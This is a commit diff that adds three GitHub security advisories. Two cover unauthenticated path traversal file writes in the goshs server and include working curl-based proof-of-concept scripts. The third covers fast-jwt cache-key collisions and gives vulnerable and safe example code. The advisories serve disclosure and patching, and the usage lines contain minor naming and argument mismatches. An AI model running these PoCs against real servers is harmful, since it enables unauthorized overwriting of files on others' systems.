Skip to content

Commit 91424b9

Browse files
1 parent 315297e commit 91424b9

3 files changed

Lines changed: 173 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g8mv-vp7j-qp64",
4+
"modified": "2026-04-03T04:07:55Z",
5+
"published": "2026-04-03T04:07:55Z",
6+
"aliases": [
7+
"CVE-2026-35392"
8+
],
9+
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload",
10+
"details": "### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n upath := req.URL.Path // unsanitized\n\n filename := strings.Split(upath, \"/\")\n outName := filename[len(filename)-1]\n\n targetpath := strings.Split(upath, \"/\")\n targetpath = targetpath[:len(targetpath)-1]\n target := strings.Join(targetpath, \"/\")\n\n savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n // ...\n os.Create(savepath) // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nLOCAL_FILE=\"${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nTARGET=\"${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n echo \"[-] Local file not found: $LOCAL_FILE\"\n exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source: ${LOCAL_FILE}\"\necho \"[*] Target: ${TARGET}\"\necho \"[*] PUT: ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n --path-as-is \\\n -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/patrickhener/goshs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/patrickhener/goshs"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-22"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T04:07:55Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jg56-wf8x-qrv5",
4+
"modified": "2026-04-03T04:08:20Z",
5+
"published": "2026-04-03T04:08:20Z",
6+
"aliases": [
7+
"CVE-2026-35393"
8+
],
9+
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload",
10+
"details": "### Summary\n* POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`\n\nThis finding affect the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:71-174`\n**Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, \"/upload\")`)\n\nThe filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:\n\n```go\nupath := req.URL.Path // unsanitized\n\ntargetpath := strings.Split(upath, \"/\")\ntargetpath = targetpath[:len(targetpath)-1] // strips trailing \"upload\"\ntarget := strings.Join(targetpath, \"/\")\n\nfilenameSlice := strings.Split(part.FileName(), \"/\")\nfilenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized\n\nfinalPath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, filenameClean)\n```\n\nThe route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).\n\n**Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n#\n# Example:\n# ./arbitrary_overwrite2.sh 10.0.0.5 8080\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nLOCAL_FILE=\"${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nTARGET=\"${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n echo \"[-] Local file not found: $LOCAL_FILE\"\n exit 1\nfi\n\n# Split target into directory and filename.\n# The server builds: finalPath = UploadFolder + <dir from URL> + \"/\" + <upload filename>\n# So we put the target's dirname in the URL and the target's basename as the upload filename.\nTARGET_DIR=$(dirname \"$TARGET\")\nTARGET_NAME=$(basename \"$TARGET\")\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / and build path ending with /upload\nTARGET_REL=\"${TARGET_DIR#/}\"\nPOST_PATH=\"/${TRAVERSAL}${TARGET_REL}/upload\"\n\necho \"[*] Source: ${LOCAL_FILE}\"\necho \"[*] Target: ${TARGET}\"\necho \"[*] POST: ${POST_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n --path-as-is \\\n -X POST \\\n -F \"file=@${LOCAL_FILE};filename=${TARGET_NAME}\" \\\n \"http://${HOST}:${PORT}${POST_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/patrickhener/goshs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/patrickhener/goshs"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-22"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T04:08:20Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rp9m-7r4c-75qg",
4+
"modified": "2026-04-03T04:07:09Z",
5+
"published": "2026-04-03T04:07:09Z",
6+
"aliases": [
7+
"CVE-2026-35039"
8+
],
9+
"summary": "fast-jwt: Cache Confusion via cacheKeyBuilder Collisions Can Return Claims From a Different Token (Identity/Authorization Mixup)",
10+
"details": "## Impact\n\nSetting up a custom cacheKeyBuilder method which does not properly create unique keys for different tokens can lead to cache collisions. This could cause tokens to be mis-identified during the verification process leading to:\n\n- Valid tokens returning claims from different valid tokens\n- Users being mis-identified as other users based on the wrong token\n\nThis could result in:\n- User impersonation - UserB receives UserA's identity and permissions\n- Privilege escalation - Low-privilege users inherit admin-level access\n- Cross-tenant data access - Users gain access to other tenants' resources\n- Authorization bypass - Security decisions made on wrong user identity\n\n## Affected Configurations\n\nThis vulnerability ONLY affects applications that BOTH:\n\n1. Enable caching using the cache option\n2. Use custom cacheKeyBuilder functions that can produce collisions\n\nVULNERABLE examples:\n```\n// Collision-prone: same audience = same cache key\ncacheKeyBuilder: (token) => {\n const { aud } = parseToken(token)\n return `aud=${aud}`\n}\n\n// Collision-prone: grouping by user type\ncacheKeyBuilder: (token) => {\n const { aud } = parseToken(token)\n return aud.includes('admin') ? 'admin-users' : 'regular-users'\n}\n\n// Collision-prone: tenant + service grouping\ncacheKeyBuilder: (token) => {\n const { iss, aud } = parseToken(token)\n return `${iss}-${aud}`\n}\n```\n\nSAFE examples:\n```\n// Default hash-based (recommended)\ncreateVerifier({ cache: true }) // Uses secure default\n\n// Include unique user identifier\ncacheKeyBuilder: (token) => {\n const { sub, aud, iat } = parseToken(token)\n return `${sub}-${aud}-${iat}`\n}\n\n// No caching (always safe)\ncreateVerifier({ cache: false })\n```\n### Not Affected\n\n- Applications using **default caching**\n- Applications with **caching disabled**\n \n## Assessment Guide\n\nTo determine if a consumer application is affected:\n\n1. Check if caching is enabled: Look for cache: true or cache: <number> in verifier configuration\n2. Check for custom cache key builders: Look for cacheKeyBuilder function in configuration\n3. Analyze collision potential: Review if the application's cacheKeyBuilder can produce identical keys for different users/tokens\n4. If no custom cacheKeyBuilder: The project is NOT affected (default is safe)\n\n## Mitigations\n\nWhile fast-jwt will look to include a fix for this in the next version, immediate mitigations include:\n\n- Ensure uniqueness of keys produced in cacheKeyBuilder\n- Remove custom cacheKeyBuilder method\n- Disable caching",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "fast-jwt"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.0.1"
29+
},
30+
{
31+
"fixed": "6.1.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-rp9m-7r4c-75qg"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nearform/fast-jwt"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-1289",
51+
"CWE-345",
52+
"CWE-706"
53+
],
54+
"severity": "CRITICAL",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-03T04:07:09Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)